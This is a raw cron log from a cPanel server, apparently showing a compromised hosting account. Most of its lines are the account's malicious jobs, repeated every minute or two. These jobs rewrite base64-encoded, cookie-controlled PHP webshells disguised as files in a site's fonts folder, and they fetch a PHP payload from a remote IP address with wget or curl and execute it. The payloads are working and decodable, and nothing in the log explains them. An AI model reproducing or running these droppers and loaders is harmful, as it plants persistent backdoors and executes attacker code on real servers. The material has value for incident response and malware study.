Sep 11 07:57:01 ip-184-168-122-23 CROND[28425]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 07:57:01 ip-184-168-122-23 CROND[28427]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 07:57:01 ip-184-168-122-23 CROND[28428]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 07:58:01 ip-184-168-122-23 CROND[28520]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 07:58:01 ip-184-168-122-23 CROND[28522]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 07:58:01 ip-184-168-122-23 CROND[28523]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 07:58:01 ip-184-168-122-23 CROND[28524]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 07:58:01 ip-184-168-122-23 CROND[28521]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 07:59:01 ip-184-168-122-23 CROND[28686]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 07:59:01 ip-184-168-122-23 CROND[28688]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 07:59:01 ip-184-168-122-23 CROND[28689]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 07:59:01 ip-184-168-122-23 CROND[28690]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 08:00:01 ip-184-168-122-23 CROND[28783]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 08:00:01 ip-184-168-122-23 CROND[28784]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 08:00:01 ip-184-168-122-23 CROND[28787]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 08:00:01 ip-184-168-122-23 CROND[28790]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Sep 11 08:00:01 ip-184-168-122-23 CROND[28788]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 08:00:01 ip-184-168-122-23 CROND[28794]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 08:00:01 ip-184-168-122-23 CROND[28793]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 08:00:01 ip-184-168-122-23 CROND[28791]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 11 08:00:01 ip-184-168-122-23 CROND[28792]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 08:00:01 ip-184-168-122-23 CROND[28797]: (mailman) CMD (/usr/local/cpanel/scripts/restartsrv_mailman --status &> /dev/null && /usr/local/cpanel/3rdparty/bin/python2 -S /usr/local/cpanel/3rdparty/mailman/cron/checkdbs)
Sep 11 08:01:01 ip-184-168-122-23 CROND[28894]: (root) CMD (run-parts /etc/cron.hourly)
Sep 11 08:01:01 ip-184-168-122-23 CROND[28898]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 08:01:01 ip-184-168-122-23 CROND[28895]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 08:01:01 ip-184-168-122-23 CROND[28899]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 08:01:01 ip-184-168-122-23 CROND[28902]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 08:01:01 ip-184-168-122-23 CROND[28901]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 11 08:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[28894]: starting 0anacron
Sep 11 08:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[28915]: finished 0anacron
Sep 11 08:02:01 ip-184-168-122-23 CROND[29004]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 08:02:01 ip-184-168-122-23 CROND[29006]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 08:02:01 ip-184-168-122-23 CROND[29008]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 08:02:01 ip-184-168-122-23 CROND[29010]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 08:02:01 ip-184-168-122-23 CROND[29007]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 08:03:01 ip-184-168-122-23 CROND[29115]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 08:03:01 ip-184-168-122-23 CROND[29116]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 08:03:01 ip-184-168-122-23 CROND[29117]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 08:03:01 ip-184-168-122-23 CROND[29118]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 08:04:01 ip-184-168-122-23 CROND[29196]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 08:04:01 ip-184-168-122-23 CROND[29198]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 08:04:01 ip-184-168-122-23 CROND[29200]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 08:04:01 ip-184-168-122-23 CROND[29201]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 08:04:01 ip-184-168-122-23 CROND[29199]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 08:05:01 ip-184-168-122-23 CROND[29374]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 11 08:05:01 ip-184-168-122-23 CROND[29379]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 08:05:01 ip-184-168-122-23 CROND[29378]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 11 08:05:01 ip-184-168-122-23 CROND[29380]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 08:05:01 ip-184-168-122-23 CROND[29375]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 11 08:05:01 ip-184-168-122-23 CROND[29377]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 08:05:01 ip-184-168-122-23 CROND[29376]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 08:06:01 ip-184-168-122-23 CROND[29464]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 08:06:01 ip-184-168-122-23 CROND[29466]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 08:06:01 ip-184-168-122-23 CROND[29467]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 08:06:01 ip-184-168-122-23 CROND[29470]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 08:06:01 ip-184-168-122-23 CROND[29471]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 08:07:01 ip-184-168-122-23 CROND[29554]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 08:07:01 ip-184-168-122-23 CROND[29553]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 08:07:01 ip-184-168-122-23 CROND[29555]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 08:07:01 ip-184-168-122-23 CROND[29556]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 08:08:01 ip-184-168-122-23 CROND[29632]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 11 08:08:01 ip-184-168-122-23 CROND[29634]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 11 08:08:01 ip-184-168-122-23 CROND[29635]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 11 08:08:01 ip-184-168-122-23 CROND[29636]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 11 08:08:01 ip-184-168-122-23 CROND[29638]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 11 08:09:01 ip-184-168-122-23 CROND[29717]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
